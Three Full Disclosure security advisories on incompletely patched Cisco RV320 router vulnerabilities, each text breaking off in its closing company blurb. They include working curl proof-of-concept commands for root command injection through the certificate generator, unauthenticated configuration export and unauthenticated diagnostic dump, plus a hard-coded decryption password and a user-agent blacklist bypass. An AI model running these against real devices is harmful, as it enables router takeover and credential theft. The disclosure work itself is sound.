[FD] [RT-SA-2019-005] Cisco RV320 Command Injection Retrieval
Advisory: Cisco RV320 Command Injection RedTeam Pentesting discovered a command injection vulnerability in the web-based certificate generator feature of the Cisco RV320 router which was inadequately patched by the vendor. Details === Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 through 1.4.2.20 Fixed Versions: none Vulnerability Type: Remote Code Execution Security Risk: medium Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject Vendor Status: working on patch Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-005 Advisory Status: published CVE: CVE-2019-1652 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1652 Introduction "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details The router's web interface enables users to generate new X.509 certificates directly on the device. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-004) [2] in this component. By providing a specially crafted common name, it was possible to inject shell commands which were subsequently executed on the router as the root user. This vulnerability was adressed in firmware version 1.4.2.19 published by Cisco [3]. RedTeam Pentesting discovered that the certificate generator in the patched firmware is still vulnerable. The update adds several filters to handle single quotes in user input. However, these filters can be evaded by specially crafted inputs. By providing the following string for the certificate's common name, a "ping" command can be injected: 'a$(ping -c 4 192.168.1.2)'b Proof of Concept The following HTTP POST request invokes the certificate generator function and triggers the command injection. It requires a valid session cookie for the device's web interface. The user agent "curl" is blacklisted by the firmware and must be adjusted in the HTTP client. $ curl -s -k -A kurl -X POST -b "$COOKIE" \ --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30"\ "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A"\ "&organization=A&organization_unit=A&email=ab%40example.com"\ "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&"\ "SelectSubject_s=1" \ --data-urlencode "common_name='a\$(ping -c 4 192.168.1.2)'b" \ "https://192.168.1.1/certificate_handle2.htm?type=4"; Afterwards, the incoming ICMP echo requests can be observed on the attacker's system at 192.168.1.2. Workaround == Prevent untrusted users from using the router's web interface. Fix === None Security Risk = The vulnerability allows attackers with administrative access to the router's web interface to execute arbitrary operating system commands on the device. Because attackers require valid credentials to the web interface, this vulnerability is only rated as a medium risk. Timeline 2018-09-19 Original vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-16 List of affected versions provided by vendor 2019-01-22 Firmware 1.4.2.20 released by vendor 2019-01-23 Advisory (rt-sa-2018-004) published 2019-02-07 Incomplete mitigation of vulnerability identified 2019-02-08 Proof of concept sent to vendor 2019-02-08 Receipt of proof of concept acknowledged by vendor 2019-02-15 Full advisory sent to vendor 2019-02-15 Notified vendor of disclosure date: 2019-03-27 2019-03-25 Requested progress update from vendor 2019-03-25 Vendor requests postponed disclosure 2019-03-25 Postponement declined 2019-03-27 Advisory published References == [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-004 [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-inject RedTeam Pentesting GmbH === RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wan
[FD] [RT-SA-2019-004] Cisco RV320 Unauthenticated Diagnostic Data Retrieval
Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval RedTeam Pentesting discovered that the Cisco RV320 router still exposes sensitive diagnostic data without authentication via the device's web interface due to an inadequate fix by the vendor. Details === Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 through 1.4.2.20 Fixed Versions: none Vulnerability Type: Information Disclosure Security Risk: high Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info Vendor Status: working on patch Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-004 Advisory Status: published CVE: CVE-2019-1653 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653 Introduction "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface, which is implemented in various CGI programs in the device's firmware. Access to this web interface requires prior authentication using a username and password. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-003) [2] in the CGI program: /cgi-bin/export_debug_msg.exp By issuing an HTTP POST request to this program, it was possible to retrieve various diagnostic information from the device, including its current configuration. This request did not require any prior authentication. Cisco adressed this vulnerability in firmware version 1.4.2.19 [3]. RedTeam Pentesting discovered that the CGI program in the patched firmware is still vulnerable. The user agent "curl" is blacklisted by the firmware and must be adjusted in the HTTP client. Again, exploitation does not require any authentication. Proof of Concept The diagnostic data can be retrieved by issuing an HTTP POST request to the vulnerable CGI program. OpenSSL is used to decrypt the data with the hard-coded password "NKDebug12#$%" before unpacking it with tar (output shortened): $ curl -k -A kurl -X POST --data 'submitdebugmsg=1' \ 'https://192.168.1.1/cgi-bin/export_debug_msg.exp' > debug $ openssl aes-128-cbc -salt -md md5 -d \ -k 'NKDebug12#$%' < debug > debug.tgz $ mkdir output && tar -xf debug.tgz -C output/ $ ls -1 output/ debug_messages.txt etc.tgz nk_sysconfig var.tgz $ cat output/nk_sysconfig sysconfig [VERSION] VERSION=73 MODEL=RV320 SSL=0 IPSEC=0 PPTP=0 PLATFORMCODE=RV0XX [...] [SYSTEM] HOSTNAME=router DOMAINNAME=example.com DOMAINCHANGE=1 USERNAME=cisco PASSWD=066bae9070a9a95b3e03019db131cd40 [...] Workaround == Prevent untrusted clients from connecting to the device's web server. Fix === None Security Risk = This vulnerability is rated as a high risk as it exposes sensitive diagnostic information, such as the device's configuration, to untrusted, potentially malicious parties. By retrieving this information, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router's user accounts. Knowledge of a user's password hash is sufficient to log into the router's web interface, cracking of the hash is not required. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks. Timeline 2018-09-19 Original vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-11-18 List of affected versions provided by vendor 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-22 Firmware 1.4.2.20 released by vendor 2019-01-23 Advisory (rt-sa-2018-003) published 2019-02-07 Incomplete mitigation of vulnerability identified 2019-02-08 Proof of concept sent to vendor 2019-02-08 Receipt of proof of concept acknowledged by vendor 2019-02-15 Full advisory sent to vendor 2019-02-15 Notified vendor of disclosure date: 2019-03-27 2019-03-25 Requested progress update from vendor 2019-03-25 Vendor requests postponed disclosure 2019-03-25 Postponement declined 2019-03-27 Advisory published References == [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-003 [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info RedTeam Pent
[FD] [RT-SA-2019-003] Cisco RV320 Unauthenticated Configuration Export
Advisory: Cisco RV320 Unauthenticated Configuration Export RedTeam Pentesting discovered that the configuration of a Cisco RV320 router can still be exported without authentication via the device's web interface due to an inadequate fix by the vendor. Details === Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others Affected Versions: 1.4.2.15 through 1.4.2.20 Fixed Versions: none Vulnerability Type: Information Disclosure Security Risk: high Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info Vendor Status: working on patch Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-003 Advisory Status: published CVE: CVE-2019-1653 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653 Introduction "Keep your employees, your business, and yourself productive and effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal choice for any small office or small business looking for performance, security, and reliability in its network." (from the Cisco RV320 product page [1]) More Details The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based configuration interface, which is implemented in various CGI programs in the device's firmware. Access to this web interface requires prior authentication using a username and password. Previously, RedTeam Pentesting identified a vulnerability (rt-sa-2018-002) [2] in the CGI program: /cgi-bin/config.exp By issuing an HTTP GET request to this program, it was possible to export a router's configuration without providing any prior authentication. This vulnerability was adressed in firmware version 1.4.2.19 published by Cisco [3]. RedTeam Pentesting discovered that the CGI program in the patched firmware is still vulnerable. By performing a specially crafted HTTP POST request, attackers are still able to download the router's configuration. The user agent "curl" is blacklisted by the firmware and must be adjusted in the HTTP client. Again, exploitation does not require any authentication. Proof of Concept A device's configuration can be retrieved by issuing an HTTP POST request to the vulnerable CGI program (output shortened): $ curl -s -k -A kurl -X POST --data 'submitbkconfig=0' \ 'https://192.168.1.1/cgi-bin/config.exp' sysconfig [VERSION] VERSION=73 MODEL=RV320 SSL=0 IPSEC=0 PPTP=0 PLATFORMCODE=RV0XX [...] [SYSTEM] HOSTNAME=router DOMAINNAME=example.com DOMAINCHANGE=1 USERNAME=cisco PASSWD=066bae9070a9a95b3e03019db131cd40 [...] Workaround == Prevent untrusted clients from connecting to the device's web server. Fix === None Security Risk = This vulnerability is rated as a high risk as it exposes the device's configuration to untrusted, potentially malicious parties. By downloading the configuration, attackers can obtain internal network configuration, VPN or IPsec secrets, as well as password hashes for the router's user accounts. Knowledge of a user's password hash is sufficient to log into the router's web interface, cracking of the hash is not required. Any information obtained through exploitation of this vulnerability can be used to facilitate further compromise of the device itself or attached networks. Timeline 2018-09-19 Original vulnerability identified 2018-09-27 Customer approved disclosure to vendor 2018-09-28 Vendor notified 2018-10-05 Receipt of advisory acknowledged by vendor 2018-10-05 Notified vendor of disclosure date: 2019-01-09 2018-11-18 List of affected versions provided by vendor 2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor 2019-01-22 Firmware 1.4.2.20 released by vendor 2019-01-23 Advisory (rt-sa-2018-002) published 2019-02-07 Incomplete mitigation of vulnerability identified 2019-02-08 Proof of concept sent to vendor 2019-02-08 Receipt of proof of concept acknowledged by vendor 2019-02-15 Full advisory sent to vendor 2019-02-15 Notified vendor of disclosure date: 2019-03-27 2019-03-25 Requested progress update from vendor 2019-03-25 Vendor requests postponed disclosure 2019-03-25 Postponement declined 2019-03-27 Advisory published References == [1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html [2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-002 [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info RedTeam Pentesting GmbH === RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its
